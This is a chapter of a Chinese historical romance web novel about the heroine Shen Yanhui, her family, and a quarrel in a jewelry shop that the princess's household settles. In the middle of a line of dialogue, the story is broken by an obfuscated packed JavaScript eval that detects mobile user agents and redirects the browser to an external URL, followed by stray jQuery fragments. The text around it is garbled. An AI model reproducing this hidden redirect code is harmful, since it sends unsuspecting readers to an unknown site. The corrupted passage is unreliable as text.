听风苑内烛火通明,沈雁书身着寝衣正端坐在梳妆台前看着铜镜中正为她梳发的木槿,思绪远去,脑海里闪过的都是今日在太学时沈雁回哀戚的脸。
“夫人”
婢女响起的声音让她回神,她站起来转过身道“母亲”
廖云冉珠钗尽褪,满头乌发不施粉黛看起来更多几分母性的柔和,她握紧沈雁书的手关切询问“今日之事我已听说,你在太学可有人因着此事为难与你?”
她一得到消息就怕沈雁书在太学因着沈雁回的缘故被牵连,所以一刻不停的赶过来确认是否安好。
沈雁书拉着廖云冉的手坐在塌上,她笑笑“母亲安心,我并未受她牵连,一切都好”
虽然昔日往来的同窗对她也生疏了些,但相较于沈雁回的处境还是好过不少。
“无事就好,无事就好”
廖云冉拍了拍心口,重重吐出一口浊气“若非她有县主这层身份在,怕是不会这么容易脱身”
“母亲知道她是因何得罪的公主?”
“不知,传出来的消息只有她叩地谢罪,额头都磕破了,若非是惹得五公主不快,她又怎会对自己下如此重的手”
廖云冉叹息一声,眼中盛满了担忧“你父亲说的不错,虽皇恩浩汤但也如伴虎,你瞧着她这一个多月来如此风光,各族贵女无一不与她交好,献媚,门房的帖子堆的像小山似的,可如今不过刚被五公主厌弃的风声传出,那些人便迫不及待的又差人来要回帖子,生怕同她同我们成安伯府沾染上一点关系”
“只是苦了我的儿”她抚上沈雁书的发顶“我们沈家如今日薄西山,能给你说得上的亲事越来越少,经此一事,只怕那些夫人不肯再接我的帖子了”
沈雁书道“母亲不必为我亲事忧心,缘分来时,他自来,缘分无时,我自居”
廖云冉嗔怪“说什么胡话”她把沈雁书搂入怀中,像她幼时那般轻轻摇着哄着,道“我的儿,值得这天底下最好的男子”
沈雁书心中柔软没再说话,更加抱紧母亲的腰,只是不合时宜的又想起沈雁回,她身边没有母亲相伴又该怎样渡过这漫漫长夜。
“五百”
“八百”
“一千三百两”
“一千八百两”
“整整两千两,樱桃咱们又发了!”
沈雁回窝在床上数着小匣子里一叠一叠的银票,越数心情越好,没想到收了一个多月的礼当了以后竟然能卖这么多钱。
樱桃兴致缺缺,她托着腮,问“姑娘都不难过的吗?今日在公主面前如此低声下气还把头给磕破了,太学那群贵女都笑话姑娘为了攀附权贵没有一点世家女子的尊严,她们都在背地里嘲笑姑娘”
“这有什么可难过的”沈雁回抱紧匣子道“虽然我失去了尊严,但是也获得了这冷冰冰的两千两”
“尊严诚可贵,银票价更高”
她谆谆善诱道“之前在青水镇吃不饱时,衣不蔽体时又何谈尊严二字,这个世界上什么都可能是假的,只有吃得饱穿得暖咱们两个平安健康才是真的”
樱桃看着沈雁回明亮的双眸在昏暗的烛火下熠熠生辉,她心头涌起酸涩微微撇过脸去“我只是心疼姑娘”
沈雁回放下银票,上前把樱桃抱入怀中,低声轻语“我们樱桃长大了”
她心中无限感慨,想当年樱桃还是那个在人牙子手中横冲直撞的小丫头,没心没肺吃了就睡,现如今来到这繁花似锦的上京也渐渐开始有了变化。
“什么都不用担心,相信我”她道。
樱桃把头埋在沈雁回脖颈,低低的嗯了一声,她永远相信姑娘。
翌日一早同心苑就来了个稀客,沈怀霁如同入自己院落大大方方坐在上座,给自己斟了一杯茶。
“你们姑娘呢,把她叫过来就说本少爷寻她有事”
屋里的奴婢不敢忤逆他意思,急急忙忙的跑去找沈雁回,正巧与门外上的二人打了个照面。
“怀霁弟弟寻我何事?”沈雁回问道。
沈怀霁站起身走到她身边小声说“父亲今日给了我二百两让我带你出去逛逛散散心,你跟我走吧”
说着他拉住沈雁回的手臂就要往外走,沈雁回扯回了自己的衣袖“我就不去了,怀霁弟弟自己去吧”
“别呀,父亲说了这钱就是给你花的,你今日若是不开心,本少就死定了”
沈雁回略一猜想就知道沈行棋定然也听说了外面的传闻,怕直接问,她会不好意思,所以才派了沈怀霁来给她解闷逗乐。
反正有人掏钱,不花白不花。
她装作为难道“那好吧”
两人刚行至大门,迎面碰上也要出去的沈怀川,他今日穿了身青衣更衬少年如玉,一向阴霾的脸庞也罕见的露出几丝春意。
“大哥”沈怀霁老实行礼。
沈雁回也行了一礼,并未说话,两人就要走,沈怀川突然开口“我若是你,定然闭门不出”
“大哥说什么呢,我怎么听不懂”沈怀霁打着含糊道。
沈雁回低头勾唇一笑,再面向他时一脸羞愧神伤,怯怯道“兄长教训的是”
沈怀川见她如此矫揉造作,脸上一丝笑意也无,声音冷冷“你不用装模作样”
“是”她头垂的更低,略带哽咽着答。
沈怀霁虽然混账,但从不欺负女人,更何况还是自家人,他拦在沈雁回身前,说“大哥何苦如此刁难三姐,今日是我要寻她出去”
“没事的怀霁弟弟,是我不好,大哥这样说也是为了我好,你千万别因为我和大哥闹不愉快,我不值得”
她越是贬低放低自己,沈怀霁越是得到了一种满足感,他拍拍胸脯,振振有词“无事,咱们只是实话实说,大哥不至于如此心胸狭隘吧?”
沈怀川冷笑出声,不带感情的吐出了两个字“蠢货”
“你说谁蠢呢,别以为你排我前头就可以这么说我”沈怀霁撸起袖子准备好好说道一番。
“怀霁弟弟先去马车上等我,我想跟大哥单独说两句话”沈雁回道。
沈怀霁借坡下驴“好吧,那你快些别让我等太久了”
沈怀川目送他的背影消失在视线内从而再次看向沈雁回,讥讽的问“摔下来的感觉如何”
沈雁回轻笑“还行吧,也没觉得怎么样”
“嘴硬”
沈怀川心情极好的扬眉“眼看你起朱楼,眼看你宴宾客,眼看你楼塌了”最后三个字被他咬的极其重。
樱桃气不过上前一步却又被沈雁回给扯了回去。
“塌了又如何,我曾站在山顶一览权力的无限风光,大哥呢”她笑的十分揶揄和不屑“这朱楼准备何时起,又准备何时宴宾客”
她虽不似从前那样风光,可说到底也是曾经风光过的人,总比没有过的人要强上许多。
面对她着近乎嘲笑的话语,沈怀川再一次被气脸色发青,久久无言。
“大哥这脸色怎么青了,我瞧着和你这衣衫很是相配呢”
沈怀川咬牙切齿“我看你能牙尖嘴利到几时!”
他甩下这句话拂袖而去。
沈雁回轻啧了一声“这就破防了,没劲”她转头看向樱桃,心情极好道“走吧,咱们逛街去”
马车平稳行驶在上京城中,只是越走沈雁回心里越有种难以言喻的感觉,她掀开车帘七贤阁三个大字明晃晃的映入眼帘。
行吧,现在轮到她开始破防了。
“怎么来了玄武大街”
沈怀霁不明所以“就这条街最为热闹繁华不来这还能去哪?”他又问“怎么了,这里不好吗”
沈雁回皮笑肉不笑“没有,挺好的”
马车在首饰铺子停了下来,沈怀霁率先进去,大手一挥“走,本少带你买首饰”
珍宝坊的掌柜认识沈怀霁十分热络的招呼他,让侍女把最贵最好的首饰都一一呈在沈雁回面前。
通透华丽的翡翠玉簪,各色宝石交织的鎏金头面,点翠耳坠,华光溢彩的步摇各式各样,应有尽有。
一看见这么多好东西沈雁回的心情立马好转,这个看看那个摸摸心中暗叹,若是那天发达了一定给这些东西一个家。
“随便挑”沈怀霁豪爽道。
她腼腆一笑“多谢怀霁弟弟”
掌柜更加热情专挑贵的给她介绍,正滔滔不绝说着鎏金头面的做工时一道女声插了进来。
“掌柜当真是谁的买卖都敢做,实在佩服”
众人回头,只见一身材娇小的女子身着粉衣手摇团扇,在婢女的搀扶下走了进来。
“这位姑娘是?”她道。
沈怀霁小声在她耳边说“许蝉衣,工部尚书独女”
沈雁回仔细回忆这一多月接触的人里面好像并没有这个人,虽然不认识但还是友好的朝她行了个礼。
沈怀霁道“许姑娘这是话里有话”
许蝉衣轻摇了一下团扇“我只是提醒掌柜,一个被五公主讨厌的人的生意,做起来还是要慎重一些”
“你说对吗”最后这句话她很显然是对着珍宝坊的掌柜说的。
气氛霎时间凝固,能在这个地段开店的都不是傻子,自然一下能明白过来这其中的弯弯绕绕,掌柜略带歉意的看向沈怀霁“沈公子,不若您改日再来,我定然为您留个最上乘的”
其中真假虽然不明,但宁可错过不可去赌,皇后柳氏一族的滔天权势没人敢去猜疑。
沈怀霁眉头一皱“什么意思,我们又不是不给钱!”
沈雁回扯住他的衣袖,劝“算了,我们还是走吧,反正我也不喜欢这里的首饰”
许蝉衣嗤笑出声,眼神满是讥讽“县主都说这里没有她喜欢的,沈公子还要赖着不走?”
“你说谁赖着不走呢,本少爷长这么大都没人敢这么说我!”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780351|209733||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我也只是实话实说,沈公子何必动怒,若真的喜欢尽管找掌柜的去买,同我发火作甚”
沈怀霁面色不虞“刚刚这个鎏金头面,本公子要了,记得送到成安伯府”
掌柜十分为难,他开口“这真是不巧沈公子您瞧上的这个头面已经被别的客人给预定了,要不您再看看其他的?”
然而接下来不论沈怀霁看中哪一件首饰无一例外都已经被人给预定了,这其中的意思不言而喻。
沈怀霁自记事以来都没有这么难堪过,他实在气不过一脚踢翻了面前的柜台,那些贵重的首饰全都掉在了地上。
掌柜惊呼“沈公子这是做什么,自古买卖也没有强买强卖的道理,您不能因为咱们店不卖就如此不讲道理”
“今日您若是不把钱给赔了,我就算是豁出这条命也要告到衙门!”
珍宝坊本就地处繁华,这一番动静自然也惊动了门外的过客,众人纷纷驻足窃窃私语的讨论。
“喊什么喊,本公子又不是赔不起!”沈怀霁大声嚷道。
许蝉衣短暂的惊吓过后也回过神来“既然沈公子都如此说了,掌柜还愣着干嘛,赶紧算好了账给沈公子和县主看看哪”
沈雁回在那些首饰倒地的一瞬间心就已经死了,她现在可以肯定,她绝对是和这条街八字不合,天生犯冲。
掌柜也是个人精,立马招呼账房先生过来统计损失。
不消片刻一个数字响起“八百两”
沈怀霁瞪大了眼,不可置信“这几个玩意你告诉我值八百两?!”
掌柜道“那几个是不值什么钱,最紧要的是这顶鎏金冠,这顶冠珍贵就珍贵在这颗夜明珠上,夜明珠价值几何应该不需要我再一一介绍”
许蝉衣心情极好的笑出声,她道“沈公子快些赔吧,想来区区八百两对你们成安伯府来说也是不值一提”
沈怀霁那股子无赖劲彰显“夜明珠我自知珍贵,但你怎么就能保证这顶冠在我踢翻前就是完好的呢,想要本公子赔钱也可以,拿出证据来,没有证据本公子也要去报官告你们讹诈!”
掌柜没想到沈怀霁如此胡搅蛮缠“若是沈公子不赔,我就只好报官让府衙的人判一判了!”
“随你,本公子还怕了不成!”
气氛焦灼间许蝉衣又把矛头对准了沈雁回,她轻呀一声说“县主在这,哪里还用得上沈公子赔,总之沈公子也是为了县主才这么做,县主怎么也不说两句呢”
沈雁回心中轻笑,果然是冲她来的,既然她和这个许蝉衣没有矛盾,那么肯定就是女主年轻时欠下的孽,今时今日算到她的头上了。
她本想好好辩驳一番,但余光却瞥见了一张熟悉的脸:染青。
心思百转间欲语泪先流,她道“此事皆因我而起,多少钱我赔就是,还望许姑娘莫要为难我弟弟才是”
许蝉衣喉头一梗“我也只是实话实说,何时欺负过他”
“许姑娘怎么样说我们都认,只是我弟弟尚且年幼,做事确实是冲动了些掌柜莫要生气,我在这里替他给您赔个不是”
掌柜哪敢承她这一礼,虽然不是正儿八经的皇室出身,但也总归是天子亲封,此份殊荣她也是仅此一个。
“县主不用如此,开门做生意讲究的就是个和气生财,今日也确实是本店的首饰都已经定了出去,哪日县主再来定扫榻相迎”
“如此,大家各退一步,六百两不可再少了”
这边的纷争早已被楼上的众人知晓,染青回到厢房一字一句的介绍了是什么热闹。
梁泽尘听闻道“六百两确实算不得多,夜明珠珍贵,也没算坑他们,只不过”他放下茶盏又问“这是哪家公子行事竟如此鲁莽”
他站在这个位置,看人自然都是要往长远了看。
染青回:“是县主和她弟弟,二房嫡子沈怀霁”
“噗”
梁泽逸一大口茶水全都喷了出来“你说谁?沈雁回?是不是沈雁回?!”
“正是县主”
“好啊,她果然是阴魂不散,阿姐好不容易出府一趟竟然又被她给盯上了,看来我上次对她的耳提命面,她全都当做耳旁风了!”
梁泽逸站起身风风火火的就要往外走,被门口的染青拦下,她面无表情抬起胳膊,彰示了她的立场。
“阿姐!”他生气道。
梁玉镜的手下意识摸上腰间的香囊,对染青道“去吧”
染青听令立马转身下楼,梁泽逸心情极好的跟在后面,他想着阿姐果然还是那个聪明睿智的阿姐,沈雁回不过就是一个微不足道的人,阿姐怎么可能被她给蛊惑。
他现在就下去再次奚落一番,定要让那沈雁回抬不起头。
“等着,看我怎么治你,本王还不信拿一个女子没有办法!”
只是这番想法在听到染青字正腔圆的那一句话,彻底破灭。
“六百两,公主府平了”